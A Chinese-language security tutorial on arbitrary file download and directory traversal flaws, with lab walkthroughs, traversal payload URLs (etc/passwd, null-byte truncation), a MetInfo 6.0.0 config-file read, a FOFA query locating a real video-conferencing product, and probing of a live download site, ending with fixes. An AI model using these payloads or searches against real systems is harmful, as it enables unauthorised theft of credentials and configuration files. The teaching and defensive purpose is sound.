目录
- 简介
- 危害
- 脑图
- 利用条件
- 测试思路
- 靶机测试
- 安装
- Example 1
- Example 2
- Example 3
- CMS测试
- 安装
- 利用过程
- 实战-1
- FOFA
- 漏洞复现
- 实战-2
- 分析
- 漏洞修复方案
- 参考
简介
文件下载功能在很多web系统上都会出现，一般我们当点击下载链接，便会向后台发送一个下载请求，一般这个请求会包含一个需要下载的文件名称，后台在收到请求后 会开始执行下载代码，将该文件名对应的文件response给浏览器，从而完成下载。
如果后台在收到请求的文件名后，将其直接拼进下载文件的路径中而不对其进行安全判断的话，则可能会引发不安全的文件下载漏洞。此时如果攻击者提交的不是一个程序预期的的文件名，而是一个精心构造的路径(比如…/…/…/etc/passwd)，则很有可能会直接将该指定的文件下载下来。 从而导致后台敏感信息(密码文件、源代码等)被下载。
所以，在设计文件下载功能时，如果下载的目标文件是由前端传进来的，则一定要对传进来的文件进行安全考虑。 切记：所有与前端交互的数据都是不安全的，不能掉以轻心！
危害
攻击者可以读取下载服务器中的配置文件、敏感文件等，会提供攻击者更多可用信息，提高被入侵的风险。
脑图
利用条件
- 存在读文件的函数
- 读取文件的路径用户可控且未校验或校验不严
- 输出了文件内容
- 任意文件读取下载漏洞测试
测试思路
寻找读取或下载文件的功能点，跳跃目录获取敏感文件。有的限制目录不严格，只对部分目录限制，可以尝试用其他敏感文件路径
靶机测试
使用web for pentester进行测试，我们这里不研究攻击靶场的思路，如果你有兴趣，可以通过“参考”中给出的Web for Pentester 靶场学习记录进一步学习它。
安装
下载地址：https://download.vulnhub.com/pentesterlab/web_for_pentester_i386.iso 像安装普通的linux系统那样安装即可，启动它后，即可直接进入，没有繁杂的操作系统安装过程。
我们这里选择的是目录穿越，作为演示案例。
Example 1
鼠标右键“查看图像”，知道默认头像地址是
http://x.x.x.x/dirtrav/example1.php?file=hacker.png
按照「测试思路」中提到的方式，使用../../../的形式造成目录穿越，进行任意文件下载。
这里实际上不能下载，只能显示在浏览器中😓
http://192.168.239.134//dirtrav/example1.php?file=../../../../../etc/passwd
Example 2
方法同上，鼠标右键“查看图像”，知道默认头像地址是
http://192.168.239.134/dirtrav/example2.php?file=/var/www/files/hacker.png
对文件名进行修改，把hacker.png替换为../../../../../etc/passwd，得出地址：
http://192.168.239.134/dirtrav/example2.php?file=/var/www/files/../../../../../etc/passwd
Example 3
由于靶场在我们的文件后面手动添加了 .png 后缀，导致我们不能随心所欲的读取文件了，那就00截断。
方法同上，鼠标右键“查看图像”，知道默认头像地址是
http://192.168.239.134/dirtrav/example3.php?file=hacker
构造payload：
http://192.168.239.134//dirtrav/example3.php?file=../../../../../../../etc/passwd%00
CMS测试
这里选的是MetInfo cms 6.0.0 进行任意文件读取漏洞演示
安装
下载地址：https://www.metinfo.cn/upload/file/MetInfo6.0.0.zip 漏洞环境：phpstudy、windows
存在漏洞：任意文件读取
在pupstudy的www目录下新建一个文件夹，然后把压缩包解压进去，重启phpstudy，浏览器访问
利用过程
漏洞点在：MetInfo6.0.0/include/thumb.php?dir= 浏览器访问为：
BurpSuite重放：
MetInfo6.0.0/include/thumb.php?dir=http\..\..\config\config_db.php
实战-1
「银澎云计算 好视通视频会议系统」 存在任意文件下载，攻击者可以通过漏洞获取敏感信息
FOFA
app=“Hanming-Video-Conferencing”
漏洞复现
登录界面如图
漏洞URL为：
https://xxx.xxx.xxx.xxx/register/toDownload.do?fileName=../../../../../../../../../../../../../../windows/win.ini
实战-2
智能电视网：http://down.znds.com/
当我下载一个文件的时候，把鼠标放在“立即下载”上面，左下角会出现一个链接（用箭头指向了），点一下“立即下载”，文件就会下载下来，那么对着“立即下载”按钮鼠标右键复制此链接，即，拿到下载地址
分析
下载下来的文件名称是：dangbeimarket_4.2.9_262_znds.apk
复制出来的下载地址是：http://down.znds.com/getdownurl/?s=L3VwZGF0ZS8yMDIxLTAzLTExL2RhbmdiZWltYXJrZXRfNC4yLjlfMjYyX3puZHMuYXBr
会发现L3VwZGF0ZS8yMDIxLTAzLTExL2RhbmdiZWltYXJrZXRfNC4yLjlfMjYyX3puZHMuYXBr看起来像是一个base64编码的东西，解码之后：
发现与我们下载的文件名对上了。
这里其实就很类似前面的靶机了，限制可以下载任意文件，但是下载敏感文件还是不能的，譬如访问：http://down.znds.com/getdownurl/?s=…/…/…/…/…/…/…/…/…/…/…/…/…/…/etc/password，编码之后就是http://down.znds.com/getdownurl/?s=Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3b3Jk，访问之后
但是下载普通文件应该还是绰绰有余的
漏洞修复方案
1：对./、../、..\等进行过滤
2：严格控制可读取或下载的文件路径
